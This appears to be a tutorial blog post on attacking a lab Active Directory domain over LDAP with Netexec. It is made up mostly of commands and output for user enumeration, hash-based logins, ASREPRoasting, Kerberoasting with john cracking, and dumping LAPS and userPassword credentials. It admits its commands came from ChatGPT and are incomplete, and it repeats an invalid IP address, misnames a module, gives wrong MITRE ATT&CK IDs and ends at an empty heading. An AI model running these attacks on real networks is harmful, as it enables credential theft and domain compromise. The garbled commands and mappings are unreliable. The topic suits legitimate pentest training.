

# Active Directory Pentesting Using Netexec Tool

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```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u "users.txt" -p '' -k
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name=ignite.local)
LDAP 192.168.1.48 389 DC [-] ignite.local\ankit: KDC_ERR_C_PRINCIPAL_UNKNOWN
LDAP 192.168.1.48 389 DC [-] ignite.local\ankur: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [+] ignite.local\yashika account vulnerable to as
LDAP 192.168.1.48 389 DC [-] ignite.local\raj: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [-] ignite.local\sanjeet: KDC_ERR_C_PRINCIPAL_UNKNOWN
LDAP 192.168.1.48 389 DC [-] ignite.local\vipin: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [-] ignite.local\user1: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [-] ignite.local\user2: KDC_ERR_PREAUTH_FAILED
```

Active Directory (AD) penetration testing is an essential part of the security assessment of enterprise networks. Moreover, the Netexec tool offers a wide range of capabilities for AD enumeration, credential validation, Kerberos attacks, and privilege escalation. This guide provides a detailed overview of the Netexec tool's purpose, usage, and how to map its commands to the MITRE ATT&CK framework for Active Directory pentesting.

This article focuses on **Active Directory Pentesting Using Netexec**, a powerful toolset for **enumeration**, **credential testing**, and **exploitation** in .

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**Note\*:** The command was fetched from the ChatGPT unfortunately it missed some key which was not expected, please feel free to connect us if you do have any suggestions.

## Introduction to Active Directory Pentesting

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serves as the backbone for **authentication** and **authorization** in many organizations. Therefore, is crucial for identifying **vulnerabilities** that could be exploited by attackers. **Netexec** is a **versatile tool** used for and **exploitation**. This tool assists **pentesters** in retrieving **valuable information**, testing **credentials**, and identifying **weaknesses** within an .

## Overview of the Netexec Tool

---

In this post, we will use **Netexec** for **Active Directory pentesting**, **enumeration**, and **exploitation** via **LDAP**. Specifically, it allows **pentesters** to test the existence of **accounts**, authenticate using **hashes**, enumerate **users** and **groups**, and even exploit certain **vulnerabilities** in . The tool operates via simple **command-line syntax** and provides a variety of options to **customize the attack** or **enumeration process**.

The basic syntax for **Netexec** is:

```
nxc ldap <target> -u <username> -p <password> <options>
```

Where:

- **<target>**: The IP address or hostname of the LDAP server.
- **<username>**: The username for authentication.
- **<password>**: The password (or NTLM hash) for authentication.
- **<options>**: Specific attack or enumeration options to be performed.

## Test if an Account Exists without Kerberos

---

**Purpose:** This command is used to check whether an account exists within Active Directory without Kerberos protocol. When using the option **-k** or **--use-kcache**, you need to specify the same hostname (FQDN) as the one from the kerberos ticket

```
nxc ldap 192.168.1.48 -u "user.txt" -p " " -k
```

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u "users.txt" -p '' -k
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC)
LDAP 192.168.1.48 389 DC [-] ignite.local\ankit: KDC_ERR_C_PRINCIPAL_UNKNOWN
LDAP 192.168.1.48 389 DC [-] ignite.local\ankur: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [+] ignite.local\yashika account vulnerable to as
LDAP 192.168.1.48 389 DC [-] ignite.local\raj: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [-] ignite.local\sanjeet: KDC_ERR_C_PRINCIPAL_UNKNOWN
LDAP 192.168.1.48 389 DC [-] ignite.local\vipin: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [-] ignite.local\user1: KDC_ERR_PREAUTH_FAILED
LDAP 192.168.1.48 389 DC [-] ignite.local\user2: KDC_ERR_PREAUTH_FAILED
```

### Explanation:

- -u "user.txt": List of usernames to check.
- -p "": No password is supplied (since it's only testing account existence).

### MITRE ATT&CK Mapping:

**T1071** – Application Layer Protocol: LDAP (This is a reconnaissance activity using LDAP).

## Testing Credentials

**Purpose:** This command tests a user's credentials to validate whether they are correct, either with a plaintext password or an NTLM hash.

### Using username and password:

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC)
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1
```

### Using NTLM hash:

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -H 64FBAE31CC352FC26AF97CBDEF151E03
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC)
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:64FBAE31CC352FC26AF97CBDEF151E03
```

### Explanation:

- -u raj -p Password@1: Tests the raj user with the given password.
- -H <hash>: Uses an NTLM hash instead of a plaintext password.

### MITRE ATT&CK Mapping:

**T1110** – Brute Force (Credential testing using hashes).

## Enumerating Users

**Purpose:** To retrieve all user accounts in the Active Directory domain. This is a key reconnaissance step to identify potential targets for further attacks.

### All users:

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --users

[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC)
[+] ignite.local\raj:Password@1
[*] Enumerated 16 domain users: ignite.local

-Username-                -Last PW Set-                -Bad-
Administrator             2024-12-21 19:38:35 0
Guest                      <never>              0
krbtgt                    2024-12-21 19:50:34 0
raj                       2024-12-22 07:34:40 0
ankit                     2024-12-22 09:05:12 1
aarti                    2024-12-22 13:41:09 0
ankur                     2024-12-22 15:03:45 1
nishant                   2024-12-22 15:11:18 0
vipin                     2024-12-22 15:21:03 1
anu                       2024-12-22 15:36:40 0
priya                     2024-12-22 15:37:10 0
user1                     2024-12-22 15:56:14 1
user2                     2024-12-22 15:56:47 1
hulk                      2024-12-22 15:57:18 0
yashika                   2024-12-23 10:04:42 0
raaz                      2024-12-25 07:55:38 0
```

```
nxc ldap 192.168.1.481 --active-users
```

```
(root@kali)~[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --active-users
```

SMB 192.168.1.48 445 DC [\*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-01)

LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1

LDAP 192.168.1.48 389 DC [\*] Total records returned: 14, total 2 user(s) disabled

-Username-	-Last PW Set-	-Balance-
Administrator	2024-12-21 19:38:35	0
raj	2024-12-22 07:34:40	0
ankit	2024-12-22 09:05:12	1
aarti	2024-12-22 13:41:09	0
ankur	2024-12-22 15:03:45	1
nishant	2024-12-22 15:11:18	0
vipin	2024-12-22 15:21:03	1
anu	2024-12-22 15:36:40	0
priya	2024-12-22 15:37:10	0
user1	2024-12-22 15:56:14	1
user2	2024-12-22 15:56:47	1
hulk	2024-12-22 15:57:18	0
yashika	2024-12-23 10:04:42	0
raaz	2024-12-25 07:55:38	0

- `-users`: Retrieves all users in the directory.
- `-active-users`: Filters the result to only active users (i.e., not disabled).

### T1087 – Account Discovery.

**Purpose:** Queries LDAP for specific user attributes, such as their sAMAccountName.

```
nxc ldap 192.168.1.481 --query "(sAMAccountName=aarti)""
```

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --query "(sAMAccountName=aarti)" ""
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local)
[+] ignite.local\raj:Password@1
[+] Response for object: CN=aarti,CN=Users,DC=ignite,DC=local
objectClass: top person organizationalPerson user
cn: aarti
description: Password: Password@123
distinguishedName: CN=aarti,CN=Users,DC=ignite,DC=local
instanceType: 4
whenCreated: 20241222134109.0Z
whenChanged: 20241225082458.0Z
uSNCreated: 36900
uSNChanged: 57491
name: aarti
objectGUID: 0xb07cb73a68c63945b2680021da050eb0
userAccountControl: 512
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133793621596789221
lastLogoff: 0
lastLogon: 133793621703764985
pwdLastSet: 133793484697410604
primaryGroupID: 513
objectSid: 0x0105000000000005150000004acd912fa8bb93c
accountExpires: 0
logonCount: 2
sAMAccountName: aarti
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=ignite.local
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133793490924465796
```

Query all users:

`nxc ldap 192.168.1.481 --query "(sAMAccountName=*)" ""`

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --query "(sAMAccountName=*)" ""
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local)
[+] ignite.local\raj:Password@1
[+] Response for object: CN=aarti,CN=Users,DC=ignite,DC=local
objectClass: top person organizationalPerson user
cn: aarti
userPassword: Password@987
distinguishedName: CN=aarti,CN=Users,DC=ignite,DC=local
instanceType: 4
whenCreated: 20241222134109.0Z
whenChanged: 20241225101935.0Z
uSNCreated: 36900
uSNChanged: 57542
name: aarti
objectGUID: 0xb07cb73a68c63945b2680021da050eb0
userAccountControl: 512
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133793621596789221
lastLogoff: 0
lastLogon: 133793621703764985
pwdLastSet: 133793484697410604
primaryGroupID: 513
objectSid: 0x0105000000000005150000004acd912fa8bb93c
accountExpires: 0
logonCount: 2
sAMAccountName: aarti
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=ignite.local
dSCorePropagationData: 20241225101935.0Z 20241225101848.0Z
lastLogonTimestamp: 133793490924465796
unixUserPassword: Admin@123987
[+] Response for object: CN=Access Control Assistance Operators
objectClass: top group
cn: Access Control Assistance Operators
description: Members of this group can remotely
distinguishedName: CN=Access Control Assistance Operators,DC=ignite.local
instanceType: 4
whenCreated: 20241221194956.0Z
whenChanged: 20241221194956.0Z
uSNCreated: 8230
uSNChanged: 8230
```

## Explanation:

- `-query "(sAMAccountName=aarti)"`: Queries for a user with the sAMAccountName "aarti".
- `-query "(sAMAccountName=*)"`: Retrieves all users in the AD environment.

## MITRE ATT&CK Mapping:

T1087 – Account Discovery.

## ASREPROasting

**Purpose:** ASREPROasting exploits **accounts** that do not require **Kerberos pre-authentication** to extract **service ticket hashes**, which can then be **cracked offline**.

### Without Authentication:

`nxc ldap 192.168.1.48 -u yashika -p '' --asreproast output.txt`

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u yashika -p '' --asreproast output.txt
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019
LDAP 192.168.1.48 445 DC $krb5asrep$23$yashika@IGNITE.21d09012bd629be38c79311531dd8015f9f9055ab7cdb8e36ed0e44f617dd6e04e581f6ee6acbf42948f5094e9958a4083ffd4110100c8b01e7c08bb08757793d9aa13e47dbe9720c4681af094b8a1024ab54dd7df39f60f269b5b1d
```

```
(root@kali)-[~]
# john -w=/usr/share/wordlists/rockyou.txt output.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/2)
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password@1 ($krb5asrep$23$yashika@IGNITE.LOCAL)
1g 0:00:00:01 DONE (2024-12-25 03:18) 0.7246g/s 1524Kp/s 1524Kc/s
Use the "--show" option to display all of the cracked passwords re
Session completed.
```

### With a list of users:

`nxc ldap 192.168.1.48 -u "users.txt" -p '' --asreproast output.txt`

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u "users.txt" -p '' --asreproast output.txt
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build
LDAP 192.168.1.48 445 DC $krb5asrep$23$yashika@IGNITE.LOCAL:1f5cb8d36519d97be9cf49d57cfe8f7082455d9fb2ce9c54fea17029f34868dd3ec2dbd17f10046a7bd63d0408223c6fa4facc21968b67d5af6dddbf25ca3ea89b95ab6d65b4a72875d43e4bc56d73ad9b4d86165e374742b5e44649248d43d47b1321b
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos dat
```

## Explanation:



- `--asreproast output.txt`: Extracts ASREP (Kerberos Pre-Authentication) hashes and saves them to `output.txt`.
- `--dns-server`: Specifies the DNS server to resolve domain names.

## MITRE ATT&CK Mapping:

**T1558.001** – Kerberos Ticket Extraction.

## Find Domain SID

**Purpose:** Retrieves the Domain Security Identifier (SID), which is a unique identifier for the domain.

`nxc ldap 192.168.1.481 --get-sid`

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --get-sid
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC)
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1
LDAP 192.168.1.48 389 DC Domain SID S-1-5-21-798084426-3415456680-3274829403
```

## MITRE ATT&CK Mapping:

**T1071** – Application Layer Protocol: LDAP. The Domain SID is important for NTLM relay and privilege escalation attacks.

## Admin Count Enumeration

**Purpose:** Identifies high-privilege accounts such as Domain Admins by checking the AdminCount attribute.

`nxc ldap 192.168.1.481 --admin-count`

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --admin-count
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 B
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@
LDAP 192.168.1.48 389 DC Administrator
LDAP 192.168.1.48 389 DC Administrators
LDAP 192.168.1.48 389 DC Print Operators
LDAP 192.168.1.48 389 DC Backup Operators
LDAP 192.168.1.48 389 DC Replicator
LDAP 192.168.1.48 389 DC krbtgt
LDAP 192.168.1.48 389 DC Domain Controllers
LDAP 192.168.1.48 389 DC Schema Admins
LDAP 192.168.1.48 389 DC Enterprise Admins
LDAP 192.168.1.48 389 DC Domain Admins
LDAP 192.168.1.48 389 DC Server Operators
LDAP 192.168.1.48 389 DC Account Operators
LDAP 192.168.1.48 389 DC Read-only Domain Controllers
LDAP 192.168.1.48 389 DC Key Admins
LDAP 192.168.1.48 389 DC Enterprise Key Admins
LDAP 192.168.1.48 389 DC raj
LDAP 192.168.1.48 389 DC hulk
```

## MITRE ATT&CK Mapping:

## T1087 – Account Discovery.

### Kerberoasting

**Purpose:** Kerberoasting extracts service account hashes by requesting service tickets for accounts with SPNs (Service Principal Names).

nxc ldap 192.168.1.481 --kerberoasting hash.txt

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --kerberoasting hash.txt
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1
LDAP 192.168.1.48 389 DC Bypassing disabled account krbtgt
LDAP 192.168.1.48 389 DC [*] Total of records returned 1
LDAP 192.168.1.48 389 DC SAMAccountName: vipin memberOf: pwdLastSet:
LDAP 192.168.1.48 389 DC $krb5tgs$23*vipin$IGNITE.LOCAL$ignite.local/
942aac4161acd1395e9f690e94da8c533a18d90a723e4ef92ac197f78a9a56ebb48d774430432fc76d20cae85f140a27f
d01d24b06ad380e80f1ae3a9c97dbbcefd5c40e489f72e98fbf488f7f28b5c1962af3fc4409f6f07edb685418be45a731
92b93ab95bb1bf066479a396a9817d38518a8cb5e10990fbef9bca82b5cb70fad9eb99733590408a758a67a9f5e3deca2d
8e49b72b8ae27eda972307f5fed180dac7bf272b570f4f5cf769b09ffd28314a1f52ec69426f5fc568be773ddc1dbe167
62290717ccd6b9e9eca4e1b9f814a82f8e0b351ad97c83df8a926c9edb014b057779e8084a66abe0c2b49c47035ae0fcf
cad7585706571c5d15ef295b5bdc656aa91135ff8d1807c22136c0b1d649283e367ee4b5ebbafa004a845bac42b034dfd
ffcc0a055510dd0a5cf470a5b496e8ab41ec0a1eefd7be634fd9b3281a28ec7ffd40ccd8c854c41feb67d8b8aa39174c6
7d889c386310509d39ca5c2f4964067399b83690905d97507e03f8ada968542532ddb933d807aa0dc3413ad313c1ecad
3147fb528f926d9e25995110258956ce83b177da2a39428da5a148bebe8fb7f4d44393d9dbcc553c60b6d7bc24daf643f
```

### MITRE ATT&CK Mapping:

T1558.001 – Kerberos Ticket Extraction.

### BloodHound Ingestor

**Purpose:** The BloodHound ingestor is used to collect data for use in BloodHound, a tool for mapping AD attack paths.

nxc ldap 192.168.1.481 --bloodhound --collection All --dns-server 192.168.1.48

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --bloodhound --collection All --dns-server 192.168.1.48
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local) (signing:True)
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1
LDAP 192.168.1.48 389 DC Resolved collection methods: session, rdp, trusts, localadmin, group, dcom, acl, psremote
LDAP 192.168.1.48 389 DC Done in 00M 01S
LDAP 192.168.1.48 389 DC Compressing output into /root/.nxc/logs/DC_192.168.1.48_2024-12-25_033531_bloodhound.zip
```

### MITRE ATT&CK Mapping:

T1087 – Account Discovery.

### User Description Enumeration

**Purpose:** Enumerates the user descriptions for identifying potential sensitive information.

nxc ldap 192.168.1.481 -M user-desc



```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M user-desc
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build 17
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
USER-DESC 192.168.1.48      389      DC      User: krbtgt - Description: Key Dist
USER-DESC 192.168.1.48      389      DC      Saved 4 user descriptions to /root/.nxc/

(root@kali)-[~]
# cat /root/.nxc/Logs/UserDesc-192.168.1.48-20241225_125321.log
User:      Description:
Administrator Built-in account for administering the computer/domain
Guest       Built-in account for guest access to the computer/domain
krbtgt      Key Distribution Center Service Account
yashika     ASRep Roast
```

## MITRE ATT&CK Mapping:

T1087 – Account Discovery.

## WhoAmI Command

**Purpose:** The whoami command retrieves the current authenticated user in the session.

nxc ldap 192.168.1.481 -M whoami

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M whoami
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Bu
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
WHOAMI   192.168.1.48      389      DC      distinguishedName: CN=raj,CN=Us
WHOAMI   192.168.1.48      389      DC      name: raj
WHOAMI   192.168.1.48      389      DC      Enabled: Yes
WHOAMI   192.168.1.48      389      DC      Password Never Expires: No
WHOAMI   192.168.1.48      389      DC      Last logon: 133795930510043037
WHOAMI   192.168.1.48      389      DC      pwdLastSet: 133793264808342876
WHOAMI   192.168.1.48      389      DC      logonCount: 15
WHOAMI   192.168.1.48      389      DC      sAMAccountName: raj
```

## MITRE ATT&CK Mapping:

T1087 – Account Discovery.

## Enumerating Group Membership

**Purpose:** This command is used to enumerate the groups that a specific user is a member of. This helps identify high-privilege groups and lateral movement opportunities.

nxc ldap 192.168.1.481 -M groupmembership -o USER="ankur"

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M groupmembership -o USER="ankur"
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build 177
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
GROUPMEM ... 192.168.1.48      389      DC      [+] User: ankur is member of following
GROUPMEM ... 192.168.1.48      389      DC      Domain Admins
GROUPMEM ... 192.168.1.48      389      DC      Domain Users
```

## Explanation:

- -M groupmembership: Enumerates the groups that the specified user is a member of.
- -o USER="ankur": Specifies the username for which group membership is being queried.

### MITRE ATT&CK Mapping:

- **T1087** – Account Discovery.
- **T1075** – Pass the Hash (can be used to escalate privileges within group memberships).

## Group Members Enumeration

**Purpose:** This command allows you to enumerate the members of a specific group, such as "Domain Admins" or "Domain Users," which can reveal key targets for attacks.

### Enumerating members of "Domain Users"

`nxc ldap 192.168.1.481 -M group-mem -o GROUP="Domain users"`

```
(root@kali)-[~]
# nxc ldap 192.168.1.481 -u raj -p Password@1 -M group-mem -o GROUP="Domain users"
SMB      192.168.1.48  445    DC      [*] Windows 10 / Server 2019 Build 1776
LDAP     192.168.1.48  389    DC      [+] ignite.local\raj:Password@1
GROUP-MEM 192.168.1.48  389    DC      [+] Found the following members of the
GROUP-MEM 192.168.1.48  389    DC      Administrator
GROUP-MEM 192.168.1.48  389    DC      krbtgt
GROUP-MEM 192.168.1.48  389    DC      raj
GROUP-MEM 192.168.1.48  389    DC      ankit
GROUP-MEM 192.168.1.48  389    DC      aarti
GROUP-MEM 192.168.1.48  389    DC      ankur
GROUP-MEM 192.168.1.48  389    DC      nishant
GROUP-MEM 192.168.1.48  389    DC      vipin
GROUP-MEM 192.168.1.48  389    DC      anu
GROUP-MEM 192.168.1.48  389    DC      priya
GROUP-MEM 192.168.1.48  389    DC      user1
GROUP-MEM 192.168.1.48  389    DC      user2
GROUP-MEM 192.168.1.48  389    DC      hulk
GROUP-MEM 192.168.1.48  389    DC      yashika
GROUP-MEM 192.168.1.48  389    DC      raaz
```

### Enumerating members of "Domain Admins":

`nxc ldap 192.168.1.481 -M group-mem -o GROUP="Domain admins"`

```
(root@kali)-[~]
# nxc ldap 192.168.1.481 -u raj -p Password@1 -M group-mem -o GROUP="Domain admins"
SMB      192.168.1.48  445    DC      [*] Windows 10 / Server 2019 Build 17763
LDAP     192.168.1.48  389    DC      [+] ignite.local\raj:Password@1
GROUP-MEM 192.168.1.48  389    DC      [+] Found the following members of the Do
GROUP-MEM 192.168.1.48  389    DC      Administrator
GROUP-MEM 192.168.1.48  389    DC      ankur
```

### Explanation:

- -M group-mem: Enumerates the members of a specific group.
- -o GROUP="Group Name": Specifies the group to query (e.g., "Domain Admins").

## MITRE ATT&CK Mapping:

T1087 – Account Discovery.

## Machine Account Quota

---

**Purpose:** This command checks the quota for creating machine accounts in Active Directory, which can be useful for identifying potential opportunities for creating rogue machines or bypassing group policies.

nxc ldap 192.168.1.481 -M maq

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M maq
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
MAQ      192.168.1.48      389      DC      [*] Getting the MachineAccountQuota
MAQ      192.168.1.48      389      DC      MachineAccountQuota: 10
```

## MITRE ATT&CK Mapping:

T1077 – Windows Admin Shares (creating machine accounts to gain access).

## Get User Descriptions

---

**Purpose:** This command enumerates the descriptions associated with user accounts, which can sometimes contain valuable information such as roles, responsibilities, or even credentials.

nxc ldap 192.168.1.481 -M get-desc-users

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-desc-users
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build 17763 x64 (nam
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
GET-DESC ... 192.168.1.48      389      DC      [+] Found following users:
GET-DESC ... 192.168.1.48      389      DC      User: Administrator description: Built-in account
GET-DESC ... 192.168.1.48      389      DC      User: Guest description: Built-in account for gue
GET-DESC ... 192.168.1.48      389      DC      User: krbtgt description: Key Distribution Center
GET-DESC ... 192.168.1.48      389      DC      User: aarti description: Password: Password@123
GET-DESC ... 192.168.1.48      389      DC      User: yashika description: ASRep Roast
```

## MITRE ATT&CK Mapping:

T1087 – Account Discovery.

## LAPS Enumeration

---

**Purpose:** LAPS (Local Administrator Password Solution) is a Microsoft solution that randomizes and stores local administrator passwords. This command retrieves the LAPS password for local administrator accounts.

nxc ldap 192.168.1.481 -M laps

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M laps

SMB      192.168.1.48    445    DC      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local) (signi
LDAP     192.168.1.48    389    DC      [+] ignite.local\raj:Password@1
LAPS     192.168.1.48    389    DC      [*] Getting LAPS Passwords
LAPS     192.168.1.48    389    DC      Computer:MSEDGEWIN10$ User: Password:/[ezL6hboW0INQ
```

## MITRE ATT&CK Mapping:

- **T1087** – Account Discovery.
- **T1110** – Brute Force (to brute force local administrator passwords).

## Extracting Subnet Information

**Purpose:** This command retrieves subnet information, which can help in identifying the network layout and plan further attacks such as lateral movement or exploiting vulnerable machines.

`nxc ldap "192.168.1.48" -u -p "Password@1" -M get-network`

```
(root@kali)-[~]
# nxc ldap "192.168.1.48" -u "raj" -p "Password@1" -M get-network

SMB      192.168.1.48    445    DC      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local) (signi
LDAP     192.168.1.48    389    DC      [+] ignite.local\raj:Password@1
GET-NETWORK 192.168.1.48    389    DC      [*] Querying zone for records
GET-NETWORK 192.168.1.48    389    DC      Found 3 records
GET-NETWORK 192.168.1.48    389    DC      [+] Dumped 3 records to /root/.nxc/logs/ignite.local_network_2024-12-25_042625.log
```

## MITRE ATT&CK Mapping:

**T1010** – Application Layer Protocol: SMB.

## DACL Reading

**Purpose:** The **DACL (Discretionary Access Control List)** reading command is used to view access control lists for specific AD objects, which can help identify overly permissive access or misconfigurations.

`nxc ldap 192.168.1.481 --kdcHost ignite.local -M dacread -o TARGET=Administrator ACTION=read`

```

(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 --kdcHost ignite.local -M dacldread -o TARGET=Administrator ACTION=read
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local) (signing:True) (SMB)
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1
DACLREAD 192.168.1.48 389 DC Be careful, this module cannot read the DACLS recursively.
DACLREAD 192.168.1.48 389 DC Target principal found in LDAP (CN=Administrator,CN=Users,DC=ignite,DC=local)
DACLREAD 192.168.1.48 389 DC ACE[0] info
DACLREAD 192.168.1.48 389 DC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 192.168.1.48 389 DC ACE flags : None
DACLREAD 192.168.1.48 389 DC Access mask : ReadProperty
DACLREAD 192.168.1.48 389 DC Flags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD 192.168.1.48 389 DC Object type (GUID) : User-Account-Restrictions (4c164200-20c0-11d0-a768-00aa006e0529)
DACLREAD 192.168.1.48 389 DC Inherited type (GUID) : inetOrgPerson (4828cc14-1437-45bc-9b07-ad6f015e5f28)
DACLREAD 192.168.1.48 389 DC Trustee (SID) : BUILTIN\Pre-Windows 2000 Compatible Access (S-1-5-32-554)
DACLREAD 192.168.1.48 389 DC ACE[1] info
DACLREAD 192.168.1.48 389 DC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 192.168.1.48 389 DC ACE flags : None
DACLREAD 192.168.1.48 389 DC Access mask : ReadProperty
DACLREAD 192.168.1.48 389 DC Flags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD 192.168.1.48 389 DC Object type (GUID) : User-Account-Restrictions (4c164200-20c0-11d0-a768-00aa006e0529)
DACLREAD 192.168.1.48 389 DC Inherited type (GUID) : User (bf967aba-0de6-11d0-a285-00aa003049e2)
DACLREAD 192.168.1.48 389 DC Trustee (SID) : BUILTIN\Pre-Windows 2000 Compatible Access (S-1-5-32-554)
DACLREAD 192.168.1.48 389 DC ACE[2] info
DACLREAD 192.168.1.48 389 DC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 192.168.1.48 389 DC ACE flags : None
DACLREAD 192.168.1.48 389 DC Access mask : ReadProperty
DACLREAD 192.168.1.48 389 DC Flags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD 192.168.1.48 389 DC Object type (GUID) : User-Logon (5f202010-79a5-11d0-9020-00c04fc2d4cf)
DACLREAD 192.168.1.48 389 DC Inherited type (GUID) : inetOrgPerson (4828cc14-1437-45bc-9b07-ad6f015e5f28)
DACLREAD 192.168.1.48 389 DC Trustee (SID) : BUILTIN\Pre-Windows 2000 Compatible Access (S-1-5-32-554)
DACLREAD 192.168.1.48 389 DC ACE[3] info
DACLREAD 192.168.1.48 389 DC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 192.168.1.48 389 DC ACE flags : None
DACLREAD 192.168.1.48 389 DC Access mask : ReadProperty
DACLREAD 192.168.1.48 389 DC Flags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD 192.168.1.48 389 DC Object type (GUID) : User-Logon (5f202010-79a5-11d0-9020-00c04fc2d4cf)
DACLREAD 192.168.1.48 389 DC Inherited type (GUID) : User (bf967aba-0de6-11d0-a285-00aa003049e2)
DACLREAD 192.168.1.48 389 DC Trustee (SID) : BUILTIN\Pre-Windows 2000 Compatible Access (S-1-5-32-554)
DACLREAD 192.168.1.48 389 DC ACE[4] info
DACLREAD 192.168.1.48 389 DC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 192.168.1.48 389 DC ACE flags : None

```

### Explanation:

- -M dacldread: Reads the DACL of the specified target.
- -o TARGET=Administrator ACTION=read: Specifies the target object (e.g., “Administrator”) and the action to be performed (read the DACL).

### MITRE ATT&CK Mapping:

**T1074** – Data Staged (collecting information about DACLS for privilege escalation).

### Get User Passwords

**Purpose:** This command retrieves user passwords, which can be critical for offline cracking or further attacks.

nxc ldap 192.168.1.481 -M get-userPassword

```

(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-userPassword
SMB 192.168.1.48 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (
LDAP 192.168.1.48 389 DC [+] ignite.local\raj:Password@1
GET-USER ... 192.168.1.48 389 DC [+] Found following users:
GET-USER ... 192.168.1.48 389 DC User: aarti userPassword: ['Password@987']

```

### MITRE ATT&CK Mapping:

**T1003** – OS Credential Dumping.

### Get Unix User Password

